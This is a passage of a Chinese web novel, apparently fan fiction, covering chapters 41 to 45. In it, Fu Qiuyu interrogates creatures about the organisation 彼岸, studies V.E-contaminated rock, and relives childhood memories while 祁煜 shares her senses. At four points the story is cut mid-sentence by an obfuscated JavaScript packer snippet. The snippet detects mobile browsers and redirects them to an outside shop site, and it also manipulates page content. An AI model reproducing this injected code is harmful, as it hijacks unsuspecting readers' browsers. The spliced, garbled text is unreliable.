彩月buff瞬间消失，中毒加头部重创的双重打击之下，小花生附身的猿猴当场死亡！ 41.041 干掉它之后，傅秋语从山洞里找了个类似于斧子的石制工具，劈开猴子的头颅，从里面拽出了五只小花生。 它们之前集中在一起开启了彩月buff，现在是一锅端了。 小花生一出来就吱哇乱叫，大声控诉傅秋语是骗子。 傅秋语面无表情：“从现在开始，你们只有两个选择——回答我的问题，或者死。” 其中一个小花生怒骂：“我们凭什么听你的！你这个大骗子！” 傅秋语也认不出谁是谁，小花生都长得差不多，她直接把这个小花生从手心里拽出来捏碎。 其余小花生瞬间噤声。 傅秋语：“现在能听我的问题了吗？” 小花生们不敢说话了。 这个小的怎么比大的还吓人！！ 傅秋语：“你们的组织叫什么？为什么会预测到我会穿越？我在你们的计划中扮演了什么角色？我的穿越，是偶然还是人为？” 小花生：“……” 小花生保持缄默，没有一只说话。 傅秋语微笑了一下，又从手里拎出一只捏碎。 只剩下三只了。 傅秋语：“我再重复一遍我的问题，如果再没有回答，你们就一起上路。三、二、一——” 或许是再也受不了这种胁迫，又或许是它们觉得胳膊拧不过大腿，所以转换了策略。 其中一只小花生忽然开口了，它说：“——彼岸。我们的组织，叫彼岸！” 傅秋语：“……彼岸？”她复述了一遍这个名字，“哈……就这么想要达到新世界吗？” 小花生仰着头，明明没有眼睛，却发出了实质性的视线：“为什么不？只要到达新世界就可以拯救人类，以崇高的使命命名，这难道不是很光荣吗？” 傅秋语嘲讽：“光荣？哈，真会给自己脸上贴金。人类根本不需要拯救，全都死光了正好！万事万物都有毁灭的一天，文明亦然，这就是自然规律。” “你们到底从哪里来的？这个世界，根本不可能存在‘彼岸’这个组织！” 小花生：“如果你不来，我们大概真的不会存在。但是你来了。” “我们因你存在，组织因你创立，我们所做的一切，只是想带你回到属于你的地方。你是唯一的救世主，是我们的希望，你将带领我们抵达新世界。” 傅秋语：“什么乱七八糟的好恶心，这世界爱谁救谁救，关我屁事？” 见她根本不相信自己，小花生感觉动之以情这条路子走不通。 它想了下，又说：“那你知道你忽然变小的原因吗？只要你和我们回去，彼岸里有很多厉害的学者，他们可以帮你恢复。” 傅秋语：“……变……小？” 她瞳孔放大，茫然地重复这两个字。 大脑中的疼痛陡然加剧，与此同时，有什么东西好像在灼烧她的身体，好疼！ 她低头看，什么都没有。但她皮肤上忽然出现了无数鱼鳞般的痕迹，像烫伤。 傅秋语疼得踉跄了两下，跌倒在地，她抱住疼到快要炸开的头：“长大……？不，我没有长大……我……这里是什么地方？” “好疼！好疼！”她惊慌失措地环顾四周，害怕地缩到角落里，神态完全就是小孩子的样子：“这是哪里？我怎么会在这里？？” “不……不对，祁煜……我穿越了，遇到了祁煜……” 她的记忆在反复跳闪，每跳闪一次，她的头疼都会加剧。 “……祁煜是谁？我怎么会叫出这个名字？……妈妈，妈妈还在等我，我要回家。” “……家？我早就离开那里了，那个家和我没有半点关系……好疼！我……我应该已经死了才对……对，我被卷进海里，然后……有个人，一直托着我，对我说……这一切，都托付给你……” 她的状态很不对劲，祁煜共感了她的痛苦，也被折磨得不轻。 一些被抹去的记忆，在这混乱思绪的记忆跳闪中，突然被翻了出来。但很可惜，祁煜只是短暂地注意到了，却无法深入地思考，因为他有更要紧的事要关注。 他痛苦而费力地寻找小花生，它们被失控的傅秋语松开，如果被他们逃了，下次再抓就很难了！而且还很可能导致他们的处境变得更危险！ 傅秋语也是这么想的。 疼归疼，失控归失控，但她没有忘记这几个危险的小东西。 她于剧痛中抬首，痛苦让她的神色变得凶狠偏执，她的目光锁定那几只即将跑出洞外的小花生。 ——【来吧，和我们永远在一起。】 祁煜听到了。 ——【你需要我们，我们同样需要你……来这里，接受我们……我们，给予你力量……无上的力量……让我们…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果再年轻个几岁，她大概会很有触动。但是被生活捶打了无数遍的她，现在根本没有心情触动。 她很郁闷。本来还能抓着小花生好好审问，结果不知道怎么回事居然还触发关键字被硬控了，以至于不得不求助外力紧急解决小花生。 她想要的情报还没有问出来啊！！ ……文件箱！ 她的目光锁定到文件箱，袖子一撸，把上面的东西一扫，开始翻箱倒柜。 她是没心情触动，祁煜却是已经在心里翻起惊涛骇浪了。 那个声音说的话他听不懂，先记着，以后再找答案。 他现在的重点只有：卧槽这个居然是傅秋语本人，不是碎片！！以及深层记忆区居然连接着现实！！ 42.042 在文件箱里狠狠翻找了一顿。 如傅秋语所料，她没找到有价值的东西，都是一些材料清单和很久以前就失效的账单。 如果是在自己的世界中，傅秋语多半能通过材料推测出这里研究的是什么东西。 但这是在深空世界里，很多材料的名字她都没有听过，比如这个“神经纤维聚合Ⅱ型结晶”，踏马听着像从哪个倒霉流浪体身上抠下来的芯核，根本不知道是什么玩意，更别说进一步推断了。 她把手里的这一堆垃圾狠狠摔到地上，然后蹲到一边抱着头默默崩溃。 这要是祁煜在这里，她多半会为了维持自己的形象选择装逼。但是他不在，她发疯都没事。 她焦虑地咬着手指，在指节上咬出了一圈牙印。 本以为只要在海岸线缩圈之前找到办法逃走就行了，没想到时间实际上只剩下三天！ 傅秋语：“……哈！三天……还挣扎个锤子，直接死吧！早死早超生！我死他也死，黄泉路上不孤单，啊哈！” 祁煜：“……”完了，她终于接受不了打击，崩溃球了。 你振作一点啊！！ 崩溃了十多分钟，傅秋语纷乱的思路才渐渐平复。一平复下来，她才发现自己并不是完全没有收获。 情况虽然不妙，但并不是彻底的绝境。 首先她搞清楚了一件事——那个一直喊她的声音不是小花生，而且他们不是同一阵营。 说到底还是出现顺序的问题。 她先遇到小花生，差点死在它们手里。刚和祁煜脱困跑到山洞，屁股还没坐热，就听到黑暗里传来可疑的声音，还老让她去找他们。 这就情况，任谁都会觉得是小花生在搞鬼吧！ 这也就是岛上真的有小花生大量残余，否则她这些天的疑神疑鬼就成笑话了。 等从幻境里出去后，她指定要去会会他们，看看他们到底是个什么东西，怎么还能直接和她对脑波的？ 不过……没想到这次不是祁煜还喊她，而是她要去喊祁煜。 那货睡得也太死了，她哭那么大动静他居然一点反应都没有，看他下次还说不说她能睡！ 小花生所说的，什么救世主，什么组织为她创立，这种乱七八糟的东西她是不信，不过这也从侧面表明了她在彼岸这个组织的计划中，占据着相当重要的位置。 ……这踏马不是深空主控的处境Plus版吗？ 就是说她这个处境，和猎人小姐有啥区别？她就玩个游戏，没必要这么有代入感吧？？ 甚至她连个缓冲发育的时间都没有，直接被堵在这个海岛上开局杀。 她身上有啥可图的？为什么会有人专门预测她的穿越时间堵她的门？ 傅秋语仔细打量自己。 图她弱，图她废，图她身上肥肉多？……哦，她在这个幻境里变成小孩子了，所以没有肥肉。 ……想不通。 还说什么只有她能带领他们抵达新世界，他们那个新世界不会指的是她的本土世界吧？ ……哦，那他们都在想屁吃，你个游戏世界里连个剧情都配不上的邪教喽啰也敢肖想造物者的世界？ 所以应该不是。 这问题还是暂时按下，先解决重要的事。 她再次从地上把那些清单捡起来，拍掉上面的灰尘。 祁煜有点疑惑。 不是说这东西没用吗，怎么又捡起来看？ 傅秋语：“仔细一想……这东西既然能出现在这里，那就一定有价值……彼岸……” 她在一些文件的页眉处找到了logo，虽然没有说名称，但logo是彼岸花的样子，大致能确定这个基地属于彼岸。 既然是彼岸的基地，那这些材料就一定在曾经有特定的用途。 “我踏马不会造冰箱也不影响我用，问题就在于，这上面的材料，这些仪器，彼岸在这里的研究，是不是和V.E物质有关。” 她又翻出了那些过期账单，用笔把上面出现频率较多的那几个人的名字记下来。如果能逃出去，她就让祁煜去查查这几个人。 文件查完，她又在基底内部一阵翻，看看还有没有别的什么有用的东西。 结果还真有，她找到了地下仓库，里面堆放了很多器材与原材料。她在仓库里，找到一份保存很完好的世界地图。 激动的心，颤抖的手，她展开地图，只见上面标了一个红叉，这应该就是她当前的位置。 虽然地名和一些地图细节已经和自己的世界不一样了，但是大致的分布没有变化。 她穿越前在厦门旅游，而她现在身处的这片海域……卧槽她漂得好远！她现在的位置在太平洋的马绍尔群岛区域！ 这到底是什么本事漂的？他娘的游轮都开不了这么快吧？？ 傅秋语：！ 虽然不知道为什么但是她想起来了，那个托着她的人，一直在对她道歉。 ……为什么要对她道歉？ “嘶——”痛感又上来了。 傅秋语还有要紧事要做，连忙拍拍脸，打断思考。 不能再想了，一想就头疼，她还要去研究那些清单，可不能把时间浪费在头疼上。 傅秋语：“虽然但是……还是回去拿个止疼药吧。” 虽然目前没有在剧痛，但是今晚她的头受到的刺激太多，一直在隐痛，她还得熬夜赶方案，得保持头脑最佳状态，还是不省这点药了。 还有祁煜……虽然这岛上小花生被清掉了，但还是有野兽出没，把他扔在那儿也不是个办法。 还是快点把他叫醒，一起行动吧。 回山洞时，一切如常，但是那个时空门已经消失了。 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464542|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋语松了口气。 她来到这个幻境之后，状态一直是浑浑噩噩的。她的身体和记忆都回到了小时候，如果不是开门见山洞，她都没法回忆起现实的事。 山洞里篝火的柴薪已经燃尽了，黑漆漆的一片，傅秋语摸着黑进来，把祁煜身上的毯子掀开，摇摇他的肩膀。 “醒醒，别睡了，该干活了。” 祁煜的身体毫无反应。 ——这是自然，因为他的意识在傅秋语身上。 傅秋语俯身在他耳边大喊：“天哪大事不好了山洞里着火了快救火！！！” 祁煜的身体动了！ 在祁煜本人的注目中，身体巴适地翻了个身，甚至响起了细微的呼声。 祁煜：…… 一股淡淡的死意萦绕在他的心头。 傅秋语：“？？？不是吧，这都不醒？？” 她开始疯狂摇他：“三万……不是，二十四岁正是闯的年纪，你这个年纪怎么睡得着的？快起来嗨！我们还有星辰大海要征服！” 祁煜：…… 他真的他哭死，她甚至在他“毫无意识”的时候都时刻保持自己并不熟悉他这个设定。 所以有没有一种可能就是，从两人认识以来，他也没有告诉过她他的年龄呢？ 二十四岁是他现在的身份设定，既然以前不认识他，为什么能准确说出这个年龄呢？？（指指点点） 之后傅秋语又试了各种办法，仍然无法叫醒他。 她实在没办法，只好放弃。这么大个人，她也没法办法搬走他。 她把毛毯又盖回他身上，再拿出一些干粮放在他旁边，既然没死，之后他会自己饿醒也说不定。 然后她把洞里收拾了一顿，确保没有危险源后，她带着一些东西离开了山洞。她把祁煜前些天砍的树枝又捡了回来，把洞口封上，还用工具加固了。 这下就算有野兽也闯不进来。 祁煜对此哭笑不得。这不就是几天前的情景复刻吗？只是被保护的人从傅秋语变成了他自己。 其实他现在很焦躁。 虽然岛上暂时没有了危险，但三天后大的要来，傅秋语要在三天内研究出逃生方案并且实施，这压力和工作量不是一般的大。 在这种时候，他更想陪在她身边帮忙，而不是只能困在她的身体中被动地看着。 傅秋语身体本来就不好，成年体都不一定能扛得住这种强度，变成了幼年体那就更灾难了。 不过傅秋语本人似乎已经习惯了这种高压。即使没有人帮忙，她依然按自己的节奏展开工作。 她回到基地后，便开始有条不紊地准备实验工具和材料。 基地中的设施虽然陈旧，但很齐全，电力水源一切正常，她列出计划后，便开始按计划工作。 第一件事：劈开祁煜带回来的那三块石头。 43.043 对象：不同时间内受V.E物质侵蚀的海礁石 成分：石灰岩，含贝类生物残骸堆积的钙质 重量：三块礁石均在0.6kg左右。 观察方式：横向切开岩石，观测横截面 现象： 2048年8月17日受污染的礁石：V.E物质岩石从表层侵入内部3.56mm。 2048年8月18日受污染的礁石：V.E物质从岩石表层侵入内部1.22mm。 2048年8月19日受污染的礁石：V.E物质从岩石表层侵入内部0.51mm。 粗略结论：物质受侵蚀的速度会随着时间推移加快。 【笔记： 1、接触礁石的刀具也会受到污染，但因为还需要用它，所以不能放任其被污染。 但用了其他金属物件接触它，成功被污染。已将它放置到一边，5小时候后观察状态。 2、被污染后的礁石，物理特性发生改变。石块毫无碎屑，V.E物质将岩石结构紧紧粘合在一起，使其不分散，同时硬度也发生了改变。 3、实验室的仪器上使用的技术，均已本土化和时代化，没有操作指南，无法使用。但物理切割这类的仪器并没有太多变化。 4、调用了仓库的材料，每样均取出了一小份让其与污染的礁石接触。有的材料高度敏感，一接触迅速同化，包括连内部也都V.E化。 有的材料抗性较高，接触需10分钟以上才会在表面看到侵蚀迹象。 这或许可以证实该基地研究对象就是V.E物质。 5、疑惑：德雷克之前说“EVER集团的专家将这种物质命名为‘意志回声’，简称V.E”，为什么偏偏是他们率先命名，财大气粗实力雄厚？未必。 面对一个全新的未知物质，一般的命名方式要么是取其特征，要么是取自它的发现者或者是发现地，“意志回声”这个名字看起与这两种规则都毫无关系。 这种情形让我想起2019年新冠病毒爆发那年，劳美和他们的医药企业的一系列反应。 如若一周后，EVER集团推行出治疗V.E化人类的相关生物药剂，那便足够证实该危机与EVER集团脱不了干系。彼岸或许只是另一个杉德医院，又或许干脆只是个换皮的分部。 6、通过显微镜观察，阻性较高的材料均为复合型材料，而抗性较弱的均为单一原材料。 7、有一种材料引起了我的注意：神经纤维聚合Ⅶ型结晶粉末。 这种材料抗性极强，在超过1小时的接触中，仍然没有任何同化迹象。我观察到，这个系列的结晶都对V.E物质具备一定的抗性，但以我的知识储备，实在无法分析其中的成分。 天快亮了，我的实验到此为止。我已经得到了结果。接下来，我该做的，就是研究如何将这种结晶运用起来。】 傅秋语松开了手中握着的尖锐物体，她看到她的大拇指因为按压的力度过重，指腹已经出血。 但她太疲惫了，已经完全感受不到疼痛。 小孩的身体比大人更容易困。 这里没有咖啡，且就算有咖啡也早就过期了，所以她拿了个锥形的物件，觉得困了就用尖端戳自己，强迫自己清醒。 她木然环视自己一晚上的战果，和角落中堆着的尸体，然后摇摇晃晃地走出了基地。 祁煜很担心她的状况，感知觉同步了之后，他能切实地体会到她现在到底有多疲惫。 她回到了山洞里，看到祁煜还没有醒，担心地摸摸他的头和身体。 祁煜更焦躁了。 傅秋语已经分不清这里到底是幻境还是现实，她坐到他旁边，拉着他的手，疲惫地询问：“到底怎么才能把你叫醒呢？” 祁煜：………… 别问了他都快急哭了他也很想回到自己身体里醒过来抱抱她亲亲她的额头告诉她真的很棒很厉害很努力了！！！ 一个人的荒岛求生，真的太累了。她捧着他的手，用脸颊轻轻蹭了蹭他的手背。 祁煜：！！ 明明没有身体的触感，但他仿佛能感受到自己的手背正在触碰她柔软温热的脸颊。 ……请务必在他清醒的时候也这么对他！ 傅秋语：“如果没有你一直陪着我，我大概真的活不到第五天，在第一天就因为高热当场去世了吧，要么也在中途被小花生整死了……不过，真奇怪，你为什么会找到我呢？这里距离临空市那么远，你是专程来的吧？” “看在你是祁煜，而且对这一切都毫不知情的份上，我就不怀疑你了。” 她又叨叨了一顿，总体就是汇报晚上的一系列发现。她越说越困，越说眼皮子越打架，本想就闭眼稍微打个盹，结果这一闭上直接睡着了。 祁煜眼前一黑，又一亮。 他睁开了眼睛。 他没反应过来，眨了下眼睛。 直到他确认了是在用自己的眼睛看着洞顶，而傅秋语在他的旁边，他才明白他已经回到自己身体里了。 原来只要她失去意识，他的意识就会回来吗？ 傅秋语居然直接坐着睡着了，她变小了之后就那么小小的一坨，看着更心疼了。 她动了一下，身体失去平衡，往旁边倒。 祁煜连忙伸手接住。她好轻，幼年营养不良的身体抱在怀里，和幼猫没有区别。 他有些无措。 在平时的生活中，他很少接触那种脆弱又幼小的生物。不过曾经有一次，他被雨丘拜托照顾一只猫。 不过那只猫很不乖，家里搞得鸡飞狗跳的，而傅秋语很乖……她的家人到底怎么忍心那样对她的？ 这么一动，傅秋语嘴里咕噜着什么，似乎有要醒过来的迹象。 祁煜连忙伸手，像上次她发高热时哄她睡觉那样，拍拍她的脊背，像撸猫一样摸摸她的头，再哼一些他从前听过的南方民谣。 他想着，傅秋语家在南方水乡，或许他哼的就是她家乡的小曲儿也说不定。 没过一会儿，她的气息就再度平稳下来。 傅秋语再次沉入梦乡。 祁煜轻手轻脚地将她放平在床上，盖好被子，然后轻手轻脚地做好早饭放着，等她醒来吃。 然后他出门去了趟基地，把基地里的尸体丢出去，然后又在基地里仔细搜查了一遍。 他搜出了不少监控设施，这些都是傅秋语没搜出来的。 但这些和傅秋语检查出来的一样，都已经无法运作。 看来只有那台通讯器，是唯一与外界连接的设备。 祁煜仔细观察这台设备，是几十年前那种很传统的用电波通讯的仪器。 真奇怪，他的手机信号都没法穿越V ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472464|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .E封锁区，为什么这台仪器可以？ 难道……在这个岛上，还有信号发射基站？ 他想不通，便用笔记下——他怕等傅秋语醒来之后，他的意识又会回到她那边，便想到这种办法和她沟通。 一个人的视角终究有局限，傅秋语没有想到的东西，被祁煜想到了。 如果真的有基站，那么他们就不需要再手动发信号了。毕竟手动信号能传递的信息还是太局限了。 不过很显然，这个基站不在基地内。 祁煜回到山洞时，傅秋语还没醒——这是自然，才过去三个小时。 祁煜在基地里给手机充好电，现在他又能准确地知道时间了。他把手机密码写在纸上，以便她醒来后用。 他在纸上说了他的一些想法，并告知她他出门找基站去了，让她别担心。 然后他就揣着一把登山镐出门了。 祁煜抬头看天。 在表层记忆区和夹缝时，他一抬头就能看到傅秋语的位置在发光，像星辰一般。 现在深层记忆区和现实重叠了，没想到他一抬头，居然还能看到天空上有颗星星在发光。 这让他有点疑惑。 傅秋语不就在山洞里吗？天上怎么还在发光？说起来这星星也太亮了，大白天还能辨认出光芒。 而且小红去哪儿了？怎么从来到深层记忆区就看不见鸟影？ * 傅秋语做了个噩梦。 梦里她没有在三天内带着祁煜逃走，他们被彼岸抓起来做人体实验，但是她不是游戏里的自己，很快就在极度的痛苦中精神崩溃。 她发了狂地攻击所有人，把自己见到的所有人都杀了，最后当她把刀送入祁煜胸膛时，她陡然清醒了过来。 祁煜温柔地抚摸着她的脸，说：“不哭。” 傅秋语被吓醒了。 她的心脏狂跳，呼吸急促，眼睛眨也不眨地盯着洞顶，脸上一片冰凉。 她迟钝地摸了下脸，是眼泪。 下一秒，她察觉到自己头顶的那块石头，和自己这几天盯着的长得不一样。然后她才想起来，自己在祁煜旁边睡着了…… 她直接弹了起来。 所以她睡的是祁煜的床……她快速环视洞内一圈，祁煜人呢？！他怎么不见了！！ 傅秋语掀开被子，从床上跳起来要出去找人，但是刚走了两步，她却忽然发现不对劲—— 山洞里的篝火又重新被点燃了，那极小的、粉红色的、一看就是某人evol的火苗安静地在新的柴薪上缓慢燃烧。 它持续不断地为上方的锅炉施加温度，但又不使温度过高，傅秋语掀开锅盖时，锅里的粥正散发着微微的热气。 ——他醒了！ 傅秋语精神顿时一松。 接着，她看到了祁煜留给她的信，看到上面的内容后，她重新变得忧心忡忡。 看时间，他才出去一个小时。 一个小时的时间，能找到什么啊？而且她醒过来，说不定他就会重新失去意识……也就是说，他现在极有可能倒在很危险的地方。 不行，她得出去找他！ 她三两口把粥干光了，拿起匕首出门。 结果当她一脚踏出山洞时，眼前的风景快速闪过，她一脚踩到了家门前河边的青石板上。 傅秋语瞳孔紧缩。 44.044 她的母亲站在河岸边等她。 半天的假期已经过去，母亲必须得回到那个地方了。 傅秋语感觉头脑中有什么东西在飞速消逝，强烈的不甘和愤怒充斥在她的胸膛中，但她已经不知这份情绪为何而来。 她迷茫地踏上台阶，走上河岸。 祁煜已经回到了她的身体中。 在失去意识前，他正在爬树。可以预见，他现在的身体正挂在那棵树上。 接妈妈的车在不远的地方等着，傅秋语走到妈妈身边，妈妈矮下身子，半蹲下来，抚摸她幼小的肩膀。 妈妈的目光疲惫而冷漠。 傅秋语和妈妈很像，尤其是那双眼睛。 她握着女儿幼小的肩膀，说：“妈妈要离开了，在这个家生存，一定要记住——不要相信任何人，不要相信你听到的任何话，知道了吗？” 傅秋语没有心思听她说话，她在回忆自己到底忘记了什么。 她迟迟没有回答，傅秋语的母亲仿佛意识到自己的要求，对于一个孩子来说太难懂，可是她没有别的办法。 她的目光中透出强烈的痛苦和怨恨，她说：“爸爸妈妈……就是错信了人，才出了事故。这样的教训，太惨痛了……傅秋语，你要记住，这个世界上，没有人值得你相信，你唯一可以信任的人，只有你自己！听懂了吗！” 她摇晃着傅秋语的肩膀，强迫她听进去。 傅秋语不得不把注意力拉回来，她看到妈妈的泪水，麻木地说：“我知道了。” 妈妈终于满意了，她抹掉眼泪，随后头也不回地走到河对岸，上了车。 直到车开走了很远，傅秋语的眼泪才从眼眶中落下。 祁煜感受到，她的心脏处泛起细密的痛楚。 傅秋语疑惑地摸了摸心脏的位置。 明明没有收到伤害，但为什么感觉不舒服呢？为什么……眼泪就是止不住呢？ 奶奶过来喊她回家，看到她的眼泪，骂道：“哭哭哭，哭什么哭，你妈把家里害成这样，走就走了，有什么好哭的！” 老人一脸嫌恶，骂骂咧咧地回家。 她走之后，傅秋语独自在河边发呆。 忽然，她听到河里传来“咚”的一声响，她循着声音去看，正看到一截没入水中的鱼尾。 “我要找他！”她脱口而出。 傅秋语立刻愣住。 找？ 找谁？ 她疑惑地想，今天自己这是怎么了？怎么一大早，脑子就糊里糊涂的？昨晚没睡好吗？ 唔……确实有点困。 反正放假，回去再睡一觉好了。 结果回到了房间，她翻来覆去的睡不着，只好起来写作业。 她对着课本抄诗句，抄着抄着，她忽然开始找量具，等傅秋语反应过来的时候，她的语文作业本上已经密密麻麻写了两页纸的公式，还有大量设计草图。 她愣了愣，拿起来看。 这是一些强度校核公式，她似乎在设计一种异类的木筏。 这种木筏底部是常见的结构，但是它居然是双层的，并且四周以油纸帆布围住。 设计载重为300kg，两个成年人的体重有余。 傅秋语挑剔地看着这个木筏设计。 漏洞百出，双层的设计意义不明，四周的帆布也是莫名其妙。 唯一的优点就是结构简单，在人力充足的条件下可以一天完工。 但是…… “神经纤维聚合Ⅶ型结晶？……这是什么东西？还要作为外部涂层？这细细碎碎的粉末要怎么黏合在一起当涂层啊？” 傅秋语嫌弃地把作业本一扔。也不知道自己发什么神经在作业本上写这东西。 评价为昨晚没睡好导致的。 她往床上一躺，眼睛一闭，开睡！ 祁煜在满腹的吐槽欲中醒了过来。 他没有挂在树上，因为那棵树整个消失了。 他躺在柔软的细沙上，茫然地看着天空上的云霞。江面即将吞没夕阳，江水泊泊地拍打他的身躯，四周的芦苇丛低垂。 他意识到了什么，一个机灵从地上坐起来。 之前说深层记忆区和现实已经融为一体的时候，他还没有实感。 现在当他真身体验的时候，他不得不思考，到底是一种什么样的力量，才可以这么大范围地扭曲现实，竟然可以让整个海岛都消失不见？ 祁煜爬上江堤，顺着一条联通着长江的大河一直走。 他记得傅秋语家不远处有一条这样的河，虽然他没有亲眼见到，但他之前听到了开船的鸣笛声。 声音洪亮高亢，应该是运货的船，只有这么宽阔的河道才能通那种船。 这里的河道四通八达，理论上可以直接游到傅秋语家门口，他直接跳到水里游。 快到和救援队约定的时间了，他得快点回去叫醒她！ 要是一直没有想起来也就算了，偏偏方案都在无意识中画出来了，都到这一步了，哪里还有缺席的道理？ 现在唯一的问题就是，整个现实都已经被扭曲了，他们到底要怎么找救援队的信号，这实在是个巨大的难题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475623|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以说基站到底在哪儿！ 那个劳什子通讯仪器还是固定频道的，他们根本不能用，否则这事儿就解决了。 啊，想想就火大！！该死的彼岸！！ 从江畔到傅秋语家还挺远，主要是这边的水系网络过于发达，四通八达的，他没了小红引路，要找到傅秋语家还挺困难。 很快，夜幕降临，一轮弯月挂上天空。 他还没找到傅秋语家，正暗自着急，忽然之间，他眼前一黑。 等他再度睁开眼睛时，他看到了傅秋语房间熟悉的房粱。 傅秋语是被吵醒的。 她躺在床上，外面有什么东西在笃笃笃地敲她的窗户。那东西很小，还会发光，光芒穿过窗户玻璃照在窗帘上，小小亮亮的一团。 小红！！ 祁煜心中一口气瞬间就松懈了下来。 这死鸟上哪儿摸鱼去了怎么到现在才来！ 傅秋语起床开窗户，果然看到一只小红鸟站在窗台上，仰着鸟头，对她说：“恭喜你呀同学！这里有一份霍格沃兹的入学通知书……” ——啪！！ 傅秋语猛地阖上窗户。 她揉了揉眼睛，转身往床边走，“看到了奇怪的东西，没睡好是这样的，回去重睡。” 小红在窗台上扑腾：“啊啊啊啊我错了我不开玩笑了秋语开门啊不是，开窗啊！！” 傅秋语双手交叠安详躺下。 祁煜大怒。 这死鸟搞什么鬼！气氛都到这儿了难道不应该来一个充满童话风格的出场方式吗！ 小红在外面喊得撕心裂肺：“我是真的有事要说！急事！十万火急！你是不是觉得自己忘记了什么，无论怎么都想不起来？快开窗，我把一切都告诉你——卧槽！” 眼前的窗户又猛地开过来，傅秋语一把它抓在手心，狐疑道：“你怎么知道？” 祁煜本来都做好烫手的准备了，结果没想到这小玩意在傅秋语手里完全不烫，温温的，毛茸茸的，还有点好摸。 小红鸟心虚地擦汗：“这个……这个以后再说，正事要紧，带上你的作业本，我带你去一个地方。” 傅秋语盯着它，眼睛眨都不眨。 小红浑身的羽毛有序炸起。 这要是换了祁煜用这眼神看它，它高低得扑腾到他脸上和他打一架，但面对正主，它是一声都不敢吭。 鸟中的king也有king不起来的时候，它特柔弱无助地缩了缩脖子，紧张地直咽口水。 然后，它听到傅秋语说：“你长得……很眼熟啊？” 45.045 傅秋语松开小红，转身去房间角落的箱子里一顿翻。 这个箱子是专门用来存放杂物的，玻璃鸭子茶壶，相册，照相机，未开锋的弯刀匕首，各种杂七杂八的堆了一堆。 她在箱底掏出一本画册，很破很旧，有些页面已经被撕毁了，封面也是残破不堪。 看得出来在它被放到箱子里之前，经历了一些不太美好的事。 她抚摸着封面，难言的悲伤瞬间如潮水席卷上来，这份感情过于汹涌，以至于她的手都在颤抖。 妈妈离开的时候，她还不能分辨心中的感情是什么。 但是当这本画册再次被翻出来时，她明白了，胸膛中这份激荡的情感，是悲伤。 这本画册是被她亲手撕碎的。因为她清楚地知道，家里没钱，而画画很费钱。 梦想被自己亲手撕碎，那份悲伤穿越了时光，再度复现。 傅秋语无法释怀。 即使过去了很久，她依然无法释怀。 她翻开残破的画作…… 傅秋语幼年的作品真的和很多孩子都不一样。 她的画很具体，看不到抽象的表达，几乎全是纯粹的对客观世界的描绘。 这一张，是一群小麻雀站在电线上交头接耳…… 这一张，是水里的鱼在游动，水面上还落了一片树叶…… 这一张，是她家后院的银杏树…… 祁煜看着这些或完好、或残破、或褶皱的笔触稚嫩的画作，心中没有爱人，只有纯粹作为一名老师对一个明明有天赋却不得不放弃的理想的孩子的惋惜。 这上面的每一笔，虽然稚嫩，但仍能窥见她早熟的思想和对绘画浓烈的热爱。 这本画册被她亲手撕毁的同时，也撕碎了自己的心。 最后，她翻到了自己想要的那副画。这幅画恰恰是这本画册里为数不多保存完好，并且也是她难得发挥抽象想象的画。 祁煜终于明白，小红为什么一直躲着傅秋语了。 这一张画，是一只浑身燃烧着火焰的鸟，飞翔在黑暗的雨夜中。 【不死鸟】——这是这幅画右下的文字。 祁煜震惊。这小家伙居然还真是不死鸟，不是在和他玩中二？ ……不过别说不死鸟了，就算是和傅秋语画中表达的形象相比，这小红也差得太多了。 比起不死鸟，更像只小麻雀……亏傅秋语能一眼就认出来。 等下，难道是靠它那三根长尾巴毛认出来的？哦……原来那是不死鸟的尾羽吗？！ 傅秋语愣愣地看着小红：“你……是从我的画中来的？” 小红露出难过的表情，“你应该很失望……我不美丽，也不强大，一点都不像你想象中的不死鸟。” 傅秋语目光柔和了下来，她伸出手指，点了点它的鸟头：“外表一点都不重要。只要你拥有一往无前、即使跌落深渊也能再度振翅高飞的勇气，那你便依旧是我想象中的不死鸟。” 祁煜：…… 其实，这也是她对自己的愿景吧？ 小红一直说自己是她梦想的化身，所以它才能穿梭于她的深浅记忆区，对记忆区的构造了如指掌。 这一切，都是傅秋语给予它的权柄。 因为傅秋语自己想要成为那“一往无前，即使跌落深渊也能再度振翅高飞”的不死鸟。它的存在既是她的意志的具象。 小红肉眼可见的开心了，连身上的火焰都明快了起来。 它欢快地飞到傅秋语肩头，蹭蹭她的侧脸，“嗯嗯！” 傅秋语：“所以，我到底忘记了什么？” 小红：“祁煜，你还记得祁煜吗？” 祁煜的心颤抖了一下。 